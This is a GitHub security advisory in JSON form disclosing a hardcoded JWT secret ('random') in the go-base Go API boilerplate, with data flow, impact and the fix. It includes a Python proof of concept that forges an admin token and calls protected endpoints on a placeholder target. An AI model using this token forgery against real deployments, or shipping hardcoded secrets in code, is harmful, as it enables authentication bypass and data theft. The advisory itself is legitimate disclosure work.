{"id":"GHSA-mqq6-462x-jxmm","summary":"Go Restful API Boilerplate: Hardcoded JWT Secret \"random\" Allows Token Forgery","details":"## Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation\n\n### Affected Component\n- `github.com/dhax/go-base` — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)\n- 1,685 stars on GitHub\n\n### Vulnerability Locations\n\n| File | Line | Role |\n|------|------|------|\n| `dev.env` | 10 | `AUTH_JWT_SECRET=random` — template default shipped to all users |\n| `cmd/serve.go` | 35 | `viper.SetDefault(\"auth_jwt_secret\", \"random\")` — code-level fallback |\n| `auth/jwt/tokenauth.go` | 22-25 | Weak mitigation: only checked literal `\"random\"`, auto-generated non-persistent key |\n| `auth/jwt/tokenauth.go` | 28 | `jwtauth.New(\"HS256\", []byte(secret), nil)` — creates JWT signer with the weak key |\n| `pwdless/api.go` | 203 | `GenTokenPair()` — issues access + refresh tokens signed with the weak key |\n\n### Data Flow\n\n```\ndev.env AUTH_JWT_SECRET=random\n  OR\ncmd/serve.go viper.SetDefault(\"auth_jwt_secret\", \"random\")\n    │\n    ▼\nauth/jwt/tokenauth.go: viper.GetString(\"auth_jwt_secret\")\n    │\n    ▼\nauth/jwt/tokenauth.go: jwtauth.New(\"HS256\", []byte(secret), nil)\n    │\n    ▼\npwdless/api.go: GenTokenPair() → access + refresh tokens\n    │\n    ▼\njwt/authenticator.go: Every authenticated request trusts the forged token\n```\n\n### Description\n\nThe JWT signing secret is hardcoded to the string `\"random\"` in **two independent locations**:\n\n1. **`dev.env:10`** — The template `.env` file sets `AUTH_JWT_SECRET=random`. Every developer who copies this template gets the same default.\n\n2. **`cmd/serve.go:35`** — `viper.SetDefault(\"auth_jwt_secret\", \"random\")` provides a programmatic fallback. Even if the `.env` file is missing entirely, the application silently starts with `\"random\"` as the signing key.\n\nThe original code contained a mitigation in `auth/jwt/tokenauth.go:22-25` that checked if the secret equaled `\"random\"` and replaced it with a randomly-generated 32-byte string. This mitigation had **two fatal flaws**:\n\n- **(a) Single-value check**: Only the exact string `\"random\"` was caught. Any other weak secret (e.g., `\"secret\"`, `\"changeme\"`, empty string) passed through unchecked.\n- **(b) Non-persistent replacement**: The auto-generated key was stored only in memory (`randStringBytes(32)`), not persisted. On **every restart**, all existing tokens became invalid without warning, breaking all active user sessions. This made the \"fix\" itself a denial-of-service.\n\nAn attacker who reads the public repository knows the signing key is `\"random\"`. They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.\n\n### Proof of Concept\n\n```python\nimport jwt\nimport requests\n\n# The hardcoded secret from dev.env / serve.go (public repository)\nSECRET = \"random\"\nBASE_URL = \"http://target:3000\"\n\n# Step 1: Forge an admin JWT token\npayload = {\n    \"sub\": \"admin@example.com\",\n    \"roles\": [\"admin\"],\n    \"iat\": 9999999000,\n    \"exp\": 9999999999\n}\nforged_token = jwt.encode(payload, SECRET, algorithm=\"HS256\")\n\n# Step 2: Access any protected endpoint with the forged token\nheaders = {\"Authorization\": f\"Bearer {forged_token}\"}\n\n# List all users (requires admin)\nr = requests.get(f\"{BASE_URL}/api/v1/admin/users\", headers=headers)\nprint(f\"Status: {r.status_code}\")  # 200 OK\n\n# Access own profile with forged identity\nr = requests.get(f\"{BASE_URL}/api/v1/me\", headers=headers)\nprint(f\"Profile: {r.json()}\")  # Returns admin@example.com profile\n\n# The forged token is also accepted by refresh endpoints\nr = requests.post(f\"{BASE_URL}/api/v1/token/refresh\", headers=headers)\n# Returns a new valid token signed with the same \"random\" secret\n```\n\n### Impact\n\n- **Authentication Bypass**: Forge tokens for any user, including admin roles\n- **Confidentiality**: Access all user data, profiles, and protected resources\n- **Integrity**: Modify any data accessible via the API\n- **Persistence**: Forged tokens remain valid until expiry (or indefinitely via refresh)\n\n### Fix (PR #31)\n\nThe fix replaced the single-value check with a comprehensive approach:\n\n```go\n// BEFORE (tokenauth.go:22-25) — weak, single-value check\nif secret == \"random\" {\n    secret = randStringBytes(32) // non-persistent, breaks on restart\n}\n\n// AFTER — comprehensive known-weak-secrets map\nvar knownWeakSecrets = map[string]bool{\n    \"random\": true,\n    \"secret\": true,\n    \"changeme\": true,\n    \"change-me\": true,\n    \"default\": true,\n    \"\": true,\n}\n\nif knownWeakSecrets[secret] {\n    log.Fatal(\"JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.\")\n}\n```\n\nPlus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (`openssl rand -base64 32`) in the template.\n\n### Patched Versions\n\n- All versions after commit range including PR#31 (merged May 17, 2026).\n- Users should update to the latest master, regenerate their JWT secret, and restart.\n\n### Resources\n\n- Fix PR: https://github.com/dhax/go-base/pull/31\n- Commit history: https://github.com/dhax/go-base/commits/master\n\n### Credit\n\nReported by @saaa99999999 via manual security audit.","aliases":["CVE-2026-48031","GO-2026-5515"],"modified":"2026-06-25T23:11:30.587084684Z","published":"2026-06-10T13:39:18Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-798"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-06-10T13:39:18Z"},"references":[{"type":"WEB","url":"https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm"},{"type":"WEB","url":"https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00"},{"type":"PACKAGE","url":"https://github.com/dhax/go-base"}],"affected":[{"package":{"name":"github.com/dhax/go-base","ecosystem":"Go","purl":"pkg:golang/github.com/dhax/go-base"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260517152733-cc82b9740fa6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-mqq6-462x-jxmm/GHSA-mqq6-462x-jxmm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}